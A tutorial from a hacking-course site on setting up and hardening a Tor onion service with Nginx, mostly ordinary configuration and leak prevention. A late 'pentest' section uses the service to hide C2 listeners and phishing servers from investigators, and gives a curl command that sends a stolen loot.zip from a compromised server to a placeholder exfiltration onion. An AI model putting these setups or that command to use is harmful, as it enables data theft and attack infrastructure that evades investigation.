top of page

How To Create An Onion Website (Guide)

How To Create An Onion Website (Guide) | Black Hat HQ

How To Create An Onion Website


Setting up an onion service is straightforward — it's just a web server behind Tor's rendezvous protocol. The actual work is configuring it correctly so you don't leak your real IP through misconfiguration. Here's the complete operational guide and article on how to create an onion website.


How Onion Services Work (Quick Primer)


Normal Tor:

You → Guard → Middle → Exit → Website (exit node sees traffic, website sees exit node IP)


Onion service: You → Guard → Middle → Rendezvous ← Middle ← Guard ← Onion Server


Both sides build circuits to a rendezvous point. Neither knows the other's IP. No exit nodes involved. End-to-end encrypted at the application layer on top of Tor's hop-by-hop encryption. This is why .onion services don't need HTTPS certificates — though you can add them for defense-in-depth.


Step 1: Install Tor


bash

# Debian/Ubuntu/Kali
sudo apt install tor

# Verify
tor --version

# Enable and start
sudo systemctl enable tor
sudo systemctl start tor

Step 2: Install Your Web Server


Nginx is the standard choice for onion services. Lightweight, easy to lock down.


bash

sudo apt install nginx
sudo systemctl enable nginx
sudo systemctl start nginx

Step 3: Configure the Onion Service


Edit Tor's configuration file:


bash

sudo nano /etc/tor/torrc

Add these lines:


# Hidden service configuration
HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 80 127.0.0.1:8080

What this does:


  • HiddenServiceDir — Tor stores the onion private key and hostname here

  • HiddenServicePort 80 127.0.0.1:8080 — connections to your .onion on port 80 get forwarded to your local web server on port 8080


Restart Tor:


bash

sudo systemctl restart tor

Step 4: Get Your Onion Address


bash

sudo cat /var/lib/tor/hidden_service/hostname

You'll see something like:


xyzzyexample7v3g2p3y4q5x6y7z8a9b0c1d2e3f4g5h6.onion

This is the v3 onion address. The private key is in the same directory:


bash

sudo ls /var/lib/tor/hidden_service/
# hs_ed25519_secret_key   hs_ed25519_public_key   hostname

Guard these keys. Anyone who gets hs_ed25519_secret_key can impersonate your onion service. Back them up securely.


Step 5: Configure Nginx for the Onion


Create a dedicated Nginx config:


bash

sudo nano /etc/nginx/sites-available/onion

nginx

server {
    listen 127.0.0.1:8080;           # Only localhost — Tor forwards here
    server_name xyzzyexample7v3g2p3y4q5x6y7z8a9b0c1d2e3f4g5h6.onion;

    root /var/www/onion;
    index index.html;

    # ACCESS LOGGING — CRITICAL DECISION
    # Option 1: Disable entirely (recommended, no forensic evidence)
    access_log off;
    # Option 2: Log locally but with privacy (no IPs logged — they're always 127.0.0.1 anyway)
    # access_log /var/log/nginx/onion_access.log combined;

    error_log /var/log/nginx/onion_error.log;

    # Security: no server tokens in responses
    server_tokens off;
    more_clear_headers 'Server';

    location / {
        try_files $uri $uri/ =404;
    }
}

Enable it:


bash

sudo ln -s /etc/nginx/sites-available/onion /etc/nginx/sites-enabled/
sudo rm /etc/nginx/sites-enabled/default   # Remove default site
sudo nginx -t                               # Test config
sudo systemctl reload nginx

Create your content directory:


bash

sudo mkdir -p /var/www/onion
echo "<h1>Onion service is live</h1>" | sudo tee /var/www/onion/index.html
sudo chown -R www-data:www-data /var/www/onion

Step 6: Test it


From any Tor Browser, navigate to:

Or test locally on the server:


bash

curl --socks5-hostname 127.0.0.1:9050 http://xyzzyexample7v3g2p3y4q5x6y7z8a9b0c1d2e3f4g5h6.onion

Hardening: This Is Where It Matters


A default Nginx install leaks. It leaks the server IP. It leaks through error pages. It leaks through DNS. Lock this down.


Prevent DNS Leaks


Nginx might try to resolve hostnames. Force it not to:


nginx

# In the http block of /etc/nginx/nginx.conf
server_names_hash_bucket_size 128;

# In your onion server block
server {
    # Never attempt DNS resolution
    resolver 127.0.0.1 valid=0;
    resolver_timeout 1s;
}

Disable Error Pages That Leak Server Info


nginx

# Catch all errors with a generic response
error_page 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 421 422 423 424 425 426 428 429 431 451 500 501 502 503 504 505 506 507 508 510 511 = /error.html;

location = /error.html {
    internal;
    return 200 "Error";
    add_header Content-Type text/plain;
}

Remove Every Signature


nginx

# In nginx.conf http block
server_tokens off;
proxy_hide_header X-Powered-By;
proxy_hide_header Server;
fastcgi_hide_header X-Powered-By;

# Install the headers-more module for this to work:
# sudo apt install nginx-extras  (Kali/Debian)
more_clear_headers 'Server';
more_clear_headers 'X-Powered-By';

Rate Limiting (Anti-DDoS / Anti-Crawling)


nginx

# In nginx.conf http block
limit_req_zone $binary_remote_addr zone=onion:10m rate=5r/s;

# In your onion server block
location / {
    limit_req zone=onion burst=10 nodelay;
    try_files $uri $uri/ =404;
}

Bind Nginx to Localhost Only


Verify Nginx isn't listening on the public interface:


bash

sudo netstat -tlnp | grep nginx

You should see only 127.0.0.1:8080 — nothing on 0.0.0.0 or your public IP. If you see anything else, fix your listen directives.


Firewall Rules


bash

# Block all inbound except SSH (and even that should be key-only)
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow 22/tcp
sudo ufw enable

# Verify
sudo ufw status verbose

No holes for ports 80 or 443. The onion service reaches Nginx through localhost — no network port exposure needed.


Multi-Port Onion Services


You can serve multiple ports. Common setup for pentest C2 infrastructure:


bash

# In torrc
HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 80 127.0.0.1:8080
HiddenServicePort 443 127.0.0.1:8443
HiddenServicePort 4444 127.0.0.1:4444

All three ports share the same .onion address. Port 4444 could be a Meterpreter listener, port 80/443 the C2 panel.


Stealth/PoW (Proof-of-Work) Protection


Tor v3 services support client PoW to mitigate DoS. Edit torrc:


HiddenServicePoWDefensesEnabled 1
HiddenServicePoWQueueRate 5
HiddenServicePoWQueueBurst 100

Clients solve a small computational puzzle before connecting. Annoying for legitimate users but effective against flooding attacks. For a pentest C2 where only your implants connect, enable this — it won't bother your payload but will slow down scanners.


HTTPS on Onion? Not Required, But Possible


Tor encrypts the circuit end-to-end. HTTPS is redundant for encryption but useful for:


  • Defense-in-depth (someone exploits Tor, they still need to break TLS)

  • Trust signaling (EV cert shows a real org operates the onion)

  • C2 callback verification (your implant can pin a certificate)


To add HTTPS:


bash

# Get a certificate (Let's Encrypt won't validate .onion domains,
# so self-sign or use DigiCert, which offers .onion EV certs)
openssl req -x509 -newkey rsa:4096 -keyout onion.key -out onion.crt \
  -days 365 -nodes -subj "/CN=xyzzyexample7v3g2p3y4q5x6y7z8a9b0c1d2e3f4g5h6.onion"

Then configure Nginx for TLS on a separate port and add a corresponding HiddenServicePort 443 127.0.0.1:8443.


Pentest-Specific Onion Service Uses


C2 Infrastructure


[Implant] → Tor SOCKS → your-ops.onion:4444 → Nginx reverse proxy → C2 listener

Your C2 (Cobalt Strike, Mythic, Sliver, Metasploit) listens on localhost. Nginx streams connections through to it. The implant connects via the .onion. No VPS IP exposed. No domain registration. No hosting provider subpoena.


Phishing Infrastructure (Authorized Testing)


[Target] → your-phish.onion → Nginx → Phishing framework (GoPhish, Evilginx)

The .onion URL goes in the phishing email. Clicks route through Tor. If the target's network blocks Tor, they can't reach it — so have a clearnet fallback for broad tests, but the .onion version means your phishing server IP is hidden from investigators.


Data Exfiltration Endpoint


[Compromised server] → curl --socks5-hostname 127.0.0.1:9050 \
  -X POST -d @loot.zip http://your-exfil.onion/drop

The compromised server runs a local Tor instance, curls through it. No direct outbound DNS lookups. Firewall sees an encrypted connection to a Tor guard relay — the destination .onion is invisible.


Common Self-De-Anonymization Mistakes


Mistake

Fix

Nginx listening on 0.0.0.0:8080

listen 127.0.0.1:8080 — never a public interface

PHP error messages exposing path /var/www/onion/...

display_errors = Off in php.ini

Exposed /server-status or /nginx_status

Disable stub_status module or restrict to localhost

MySQL port 3306 on 0.0.0.0

Bind MySQL to 127.0.0.1:3306 only

curl on the server hitting external URLs and leaking the server IP

Firewall block all outbound non-Tor traffic; force curl through Tor

SSH on port 22 open to the world

Key-only auth, rate-limited, or listen on 127.0.0.1 only

Application bugs that send emails

Disable sendmail / SMTP from the server entirely

Uploaded files served with real path metadata

Strip EXIF, serve with generic filenames, no directory listings

DNS queries from the server to resolve external resources in the web app

Run a local caching resolver, force through Tor, or disable DNS entirely


Outbound Traffic Isolation (Critical)


Your web server should never make a direct outbound connection. If your PHP app does file_get_contents('http://some-api.com'), you just leaked your server IP to that API. Force app outbound through Tor:


bash

# torsocks forces any app through Tor
sudo apt install torsocks

# Test
torsocks curl http://check.torproject.org/api/ip

Or configure the application to use a SOCKS5 proxy:


php

// PHP
$context = stream_context_create([
    'http' => ['proxy' => 'socks5h://127.0.0.1:9050']
]);
file_get_contents('http://some-api.com', false, $context);

Verification Checklist


bash

# 1. Tor is running and service is published
sudo journalctl -u tor -f
# Look for: "Your service is now published."

# 2. Nginx only on localhost
sudo netstat -tlnp | grep nginx
# Should show ONLY 127.0.0.1:xxxx

# 3. No ports on public interface
sudo netstat -tlnp | grep -E "0.0.0.0|:::" | grep -v "127.0.0.1"

# 4. Onion resolves locally through Tor
curl --socks5-hostname 127.0.0.1:9050 http://your-onion.onion

# 5. From external Tor Browser
# Navigate to http://your-onion.onion

# 6. Check server headers don't leak info
curl --socks5-hostname 127.0.0.1:9050 -I http://your-onion.onion
# Should not show: Server: nginx/1.xx.xx or X-Powered-By

# 7. Verify no DNS leaks
sudo tcpdump -i eth0 port 53
# While accessing the onion, there should be zero DNS queries

Enroll In Online Cybersecurity & Hacking classes/courses | Black Hat HQ

Comments


Master the Art!

Info

715-527-1928

www.blackhathq.com

Address

P.O. Box 126
Antigo, Wisconsin 54409

The skills/techniques/guides on this site are not for illegal/illicit use and are not condoned by
Black Hat HQ!

Best Value

Elite Hacker

$100

100

Every month

Get Access To All The Courses For A Monthly Fee

Valid until canceled

Get complete access to all courses with Elite Hacker!

Get full access to exclusive online Groups/Forums!

Best Value

Neophyte

$50

50

Every month

Get Access To All Courses $10 Or Less!

Valid until canceled

Get access to all courses $10 or under!

Get exclusive access to specific forums/groups!

Choose your pricing plan

Find one that works for you

© 2026 Black Hat HQ

bottom of page